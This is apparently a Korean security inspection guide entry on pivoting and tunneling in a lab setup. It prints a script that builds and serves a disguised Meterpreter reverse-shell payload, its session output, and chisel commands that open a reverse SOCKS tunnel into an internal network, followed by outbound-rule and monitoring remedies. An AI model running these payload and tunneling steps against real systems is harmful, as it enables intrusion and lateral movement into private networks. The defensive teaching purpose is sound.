

12	Pivoting and Tunneling(피버팅과 터널링)
취약점 개요	
점검 내용	■ 침해된 시스템에서 다른 시스템이나 내부 네트워크에 접속한 흔적이 있는지 점검한다.
점검 목적	■ 침해된 시스템을 통해 내부망으로 연결되는 것을 감지 및 예방을 목적으로 한다.
보안 위협	■ 공격이 한 시스템을 침투하는 것에서 끝나지 않고 그 안에 속해 있는 다른 시스템이나 네트워크를 침투해 공격당할 위험이 있다.
참고	■ 횡적 이동: 이미 침투한 시스템을 발판 삼아 같은 내부망 또는 다른 네트워크 영역으로 이동하는 행동을 말한다. ■ 피버팅(Pivoting): 이미 침투한 시스템을 발판 삼아 공격자가 직접 접근할 수 없는 다른 네트워크로 이동하는 기법이다. 다른 시스템으로 가기 위해 이용되는 시스템을 점프 호스트(Jump Host) 라고 한다. ■ 터널링(Tunneling): 방화벽 등으로 접속할 수 없는 네트워크에 진입하기 위해, 가상의 경로를 만들어 우회하여 접속하는 행위를 말한다.
점검대상 및 판단기준	
대상	우분투 서버
조치방법	■ 네트워크 감시 및 통제 ■ 아웃바운드 규칙 강화
점검 및 조치사례	
[공격자] - 칼리(공격자)는 이미 장악한 시스템을 활용하여 내부 네트워크에 진입하려고 한다. 진입을 위해 공격자는 자동화 셸 코드를 제작 후 실행시킨다. <pre>#!/bin/bash ATTACKER_IP="192.168.137.200" LPORT="4444" PAYLOAD="linux/x86/meterpreter/reverse_tcp" OUTPUT="/tmp/Client_A_Update" echo "[*] Generating ELF payload ..." msfvenom -p \$PAYLOAD LHOST=\$ATTACKER_IP LPORT=\$LPORT PrependFork=true -f elf -o \$OUTPUT if [\$? -eq 0]; then echo "[*] Payload created: \$OUTPUT" else echo "[*] Payload creation failed!" exit 1 fi chmod +x \$OUTPUT echo "[*] Starting HTTP server on port 9000 ..." cd /tmp python3 -m http.server 9000 & HTTP_PID=\$! echo "[*] Starting Metasploit multi/handler ..." msfconsole -q -x "use exploit/multi/handler; set PAYLOAD \$PAYLOAD; set LHOST \$ATTACKER_IP; set LPORT \$LPORT; set ExitOnSession false; exploit -j -z" kill \$HTTP_PID</pre>	
[코드 진행 단계]	

1. 공격 파일 정보 설정과 그에 맞게 악성 파일 제작 및 저장
2. 파일 생성 성공 여부와 실행 권한 부여
3. 파일 전달을 위한 HTTP 서버 오픈 및 전달 준비
4. 상대방에게 파일 전달 후 메타스플로잇 핸들러 연결 요청 대기

- 우분투 서버(공격 대상)에서 파일을 실행하면 칼리에게 요청을 보내고 대기중이던 세션이 연결되어 서버에 접속을 성공하게 된다.

```
(hs@hs)~$ ./shell.sh
[*] Generating ELF payload ...
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 151 bytes
Final size of elf file: 235 bytes
Saved as: /tmp/Client_A_Update
[*] Payload created: /tmp/Client_A_Update
[*] Starting HTTP server on port 9000 ...
[*] Starting Metasploit multi/handler ...
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
LHOST => 192.168.137.200
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.137.200:4444
msf exploit(multi/handler) >
[*] Sending stage (1062760 bytes) to 192.168.137.1
[*] Meterpreter session 1 opened (192.168.137.200:4444 -> 192.168.137.1:60397) at 2026-03-12 17:33:20 +0900
```

(연결된 공격자 시점)

- 연결된 우분투 서버 내부에 터널링 도구인 chisel 파일을 업로드한다.

```
meterpreter > upload /home/hs/chisel /tmp/chisel
[*] Uploading : /home/hs/chisel -> /tmp/chisel
[*] Uploaded -1.00 B of 9.78 MiB (0.0%): /home/hs/chisel -> /tmp/chisel
[*] Uploaded -1.00 B of 9.78 MiB (0.0%): /home/hs/chisel -> /tmp/chisel
[*] Completed : /home/hs/chisel -> /tmp/chisel
meterpreter >
```

Chisel은 터널링 도구 중 하나로, TCP 트래픽을 HTTP 연결을 이용해 주고 받을 수 있게 한다.

두 시스템 간 TCP 연결이 불가능 한 경우, HTTP 요청과 응답 안에 TCP 데이터를 담아 보내게 하는 방식이다. 이러면 HTTP 요청은 정상으로 인식하기 때문에 TCP 데이터도 보낼 수 있게된다. 또한 공격자의 요청을 공격대상이 전달하기 때문에 공격자가 공격대상인 척 위장도 가능하다.

- 칼리(공격자)에선 서버측으로 포트를 열고 대기한다.

```
(hs@hs)-[~]
$ sudo ./chisel server -p 8000 --reverse
[sudo] password for hs:
2026/03/12 17:40:16 server: Reverse tunnelling enabled
2026/03/12 17:40:16 server: Fingerprint hG0gWy9h2Ew4ut8ns2hRdpfHo/NmpYpi+Fk0KVJQADo=
2026/03/12 17:40:16 server: Listening on http://0.0.0.0:8000
2026/03/12 17:46:43 server: session#1: tun: proxy#R:127.0.0.1:1080⇒socks: Listening
```

- 우분투 서버(공격 대상)에선 클라이언트 측으로, 클라이언트 쪽에서 먼저 연결을 시도한다. 연결에 성공하면 칼리에서 우분투 서버를 통해 내부 네트워크에 진입할 수 있게 된다.

```
./chisel client 192.168.137.200:8000 R:socks
2026/03/12 08:46:43 client: Connecting to ws://192.168.137.200:8000
2026/03/12 08:46:43 client: Connected (Latency 7.292216ms)
```

[조치 방법]

- 아웃바운드 규칙 강화

공격자들은 일반적으로 내부망에 접근할 수 없기 때문에 리버스 포트 포워딩을 통해 우회할 방법을 찾는다. 보통 외부에서 내부로 들어가는 경우인 인바운드는 방화벽에 막히게 되지만, 상대적으로 내부에서 외부로 나가는 경우인 아웃바운드는 느슨한 감시가 많다.

이 점을 이용하면 취약해지기 쉽다. 그래서 아웃바운드 규칙도 인바운드와 동일하게 까다롭게 막고, 꼭 필요한 주소만 따로 예외 경우에 넣어 허용하도록 하는 것이 좋다.

- 네트워크 모니터링

리눅스 환경 기준으로 "ss -antp" 또는 "netstat -antp" 명령어를 사용하면 현재 서버에 연결되어있는 네트워크 상태를 확인 할 수 있다.

내부 시스템 중에서 외부 IP와 장시간 접속을 하거나, 80, 443 같이 표준 포트가 아닌 다른 포트에 연결되어있는 경우는 터널링으로 만들어진 연결일 가능성이 있으므로 확인 후 조치하는 것이 좋다.